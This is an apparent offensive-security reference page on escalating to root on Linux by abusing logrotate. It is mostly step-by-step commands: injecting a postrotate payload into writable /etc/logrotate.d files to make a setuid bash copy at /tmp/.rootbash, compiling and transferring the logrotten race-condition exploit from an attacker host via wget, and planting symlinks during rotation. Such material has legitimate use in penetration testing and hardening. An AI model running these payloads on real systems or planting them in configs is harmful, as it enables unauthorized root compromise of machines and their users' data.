# Logrotate Exploitation for Privilege Escalation

> Exploits misconfigured logrotate to escalate privileges by abusing writable log paths or race conditions to execute arbitrary commands as root.

- **URL:** https://hackindex.io/platforms/linux/privilege-escalation/logrotate-exploitation
- **Path:** Linux > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation.md)
- **Published:** 2026-03-14
- **Updated:** 2026-07-14

Logrotate runs as root via cron or a systemd timer to rotate log files. It reads configuration files that define what to rotate and optionally run scripts before or after rotation via `postrotate`/`prerotate` directives. Two exploitation paths exist: directly modifying writable config files to inject commands, or exploiting a race condition in logrotate's create mode using the `logrotten` tool.

## Logrotate Privilege Escalation on Linux

Two main attack paths exist:

- Writable config file: inject a `postrotate` command that runs as root
- Race condition (logrotten): exploit the window between log rename and creation in `create` mode
- Writable log directory: manually or automatically win the race to plant a symlink

Confirm logrotate is installed and check its configuration:

```bash
which logrotate
logrotate --version 2>/dev/null

# Find all config files
ls -la /etc/logrotate.conf /etc/logrotate.d/ 2>/dev/null
cat /etc/logrotate.conf 2>/dev/null

# Check when logrotate runs
systemctl list-timers | grep logrotate
grep -r "logrotate" /etc/cron* /var/spool/cron* 2>/dev/null
```

Check for writable config files: this is the direct path:

```bash
find /etc/logrotate.d/ -writable 2>/dev/null
find /etc/logrotate.d/ -type f | xargs ls -la 2>/dev/null
```

Check write access to log files or directories that logrotate processes: required for the logrotten race condition:

```bash
cat /etc/logrotate.conf /etc/logrotate.d/* 2>/dev/null | grep -v "^#" | grep "^/" | head -20
# Note the log paths, then check write access
ls -la /var/log/nginx/ 2>/dev/null
ls -la /var/log/apache2/ 2>/dev/null
```

## Technique 1: Writable Config File

If any file in `/etc/logrotate.d/` is writable, inject a `postrotate` command that runs as root:

**Step 1: Confirm write access:**

```bash
ls -la /etc/logrotate.d/
find /etc/logrotate.d/ -writable 2>/dev/null
```

**Step 2: Read the existing config to understand the structure:**

```bash
cat /etc/logrotate.d/nginx
```

**Step 3: Inject a postrotate payload:**

```bash
cat >> /etc/logrotate.d/nginx << 'EOF'
    postrotate
        cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash
    endscript
EOF
```

Or replace the entire config file:

**/etc/logrotate.d/nginx**

```nginx
/var/log/nginx/*.log {
    daily
    missingok
    postrotate
        cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash
    endscript
}
```

**Step 4: Wait for logrotate to run**, or trigger it manually if you have permission:

```bash
# Logrotate usually runs daily via cron
# Check the schedule
systemctl list-timers | grep logrotate
cat /etc/cron.daily/logrotate 2>/dev/null
```

After it fires:

```bash
/tmp/.rootbash -p
whoami
```

## Technique 2: logrotten Race Condition

`logrotten` exploits a race condition in logrotate's `create` mode. When logrotate rotates a log file, there is a brief window between renaming the old file and creating the new one. If the log directory is writable, you can replace the new log file with a symlink to a logrotate config file before logrotate creates it: causing logrotate to write a malicious config and then read it.

**Affected versions:** logrotate <= 3.15.1

**Step 1: Check version:**

```bash
logrotate --version
# Vulnerable: <= 3.15.1
```

**Step 2: Confirm you can write to the log directory logrotate processes:**

```bash
# Find a log file processed by logrotate that you can write to
cat /etc/logrotate.d/* 2>/dev/null | grep "^/" | while read logfile; do
    dir=$(dirname "$logfile")
    [ -w "$dir" ] && echo "WRITABLE DIR: $dir for $logfile"
    [ -w "$logfile" ] && echo "WRITABLE FILE: $logfile"
done
```

**Step 3: Get logrotten:**

```bash
# On attack box
git clone https://github.com/whotwagner/logrotten
cd logrotten
gcc -o logrotten logrotten.c

# Transfer to target
python3 -m http.server 8080
```

```bash
# On target
wget http://$LHOST:8080/logrotten
chmod +x logrotten
```

**Step 4: Create the payload:**

**/tmp/payload**

```bash
#!/bin/bash
cp /bin/bash /tmp/.rootbash
chmod u+s /tmp/.rootbash
```

```bash
chmod +x /tmp/payload
```

**Step 5: Run logrotten against a writable log file:**

```bash
# Basic usage: requires write access to the log file
./logrotten -p /tmp/payload /var/log/nginx/access.log
```

In a second terminal, trigger log rotation:

```bash
# Write to the log file to trigger rotation if size-based rotation is configured
echo "$(python3 -c 'print("A"*1024*1024)')" >> /var/log/nginx/access.log
```

Or simply wait for the scheduled rotation.

**Step 6: After successful race:**

```bash
/tmp/.rootbash -p
whoami
```

## Technique 3: Writable Log Directory + create Mode

If logrotate uses `create` mode (the default) and you have write access to the log directory, the race window is exploitable even without logrotten in some configurations:

```bash
# Check if create mode is active
grep -r "create\|nocreate" /etc/logrotate.conf /etc/logrotate.d/ 2>/dev/null
```

When logrotate renames `access.log` to `access.log.1` and before it creates the new `access.log`, replace the path with a symlink:

```bash
# Monitor for the rename event
inotifywait -m /var/log/nginx/ 2>/dev/null &

# When you see the rename, immediately:
ln -sf /etc/logrotate.d/malicious /var/log/nginx/access.log
```

Timing this manually is unreliable: use logrotten for reliable exploitation.

## References

- [logrotten](https://github.com/whotwagner/logrotten) - whotwagner Race condition exploit tool for logrotate create mode.
- [logrotate(8) Manual](https://man7.org/linux/man-pages/man8/logrotate.8.html) - Configuration directives including postrotate, create mode, and script execution.
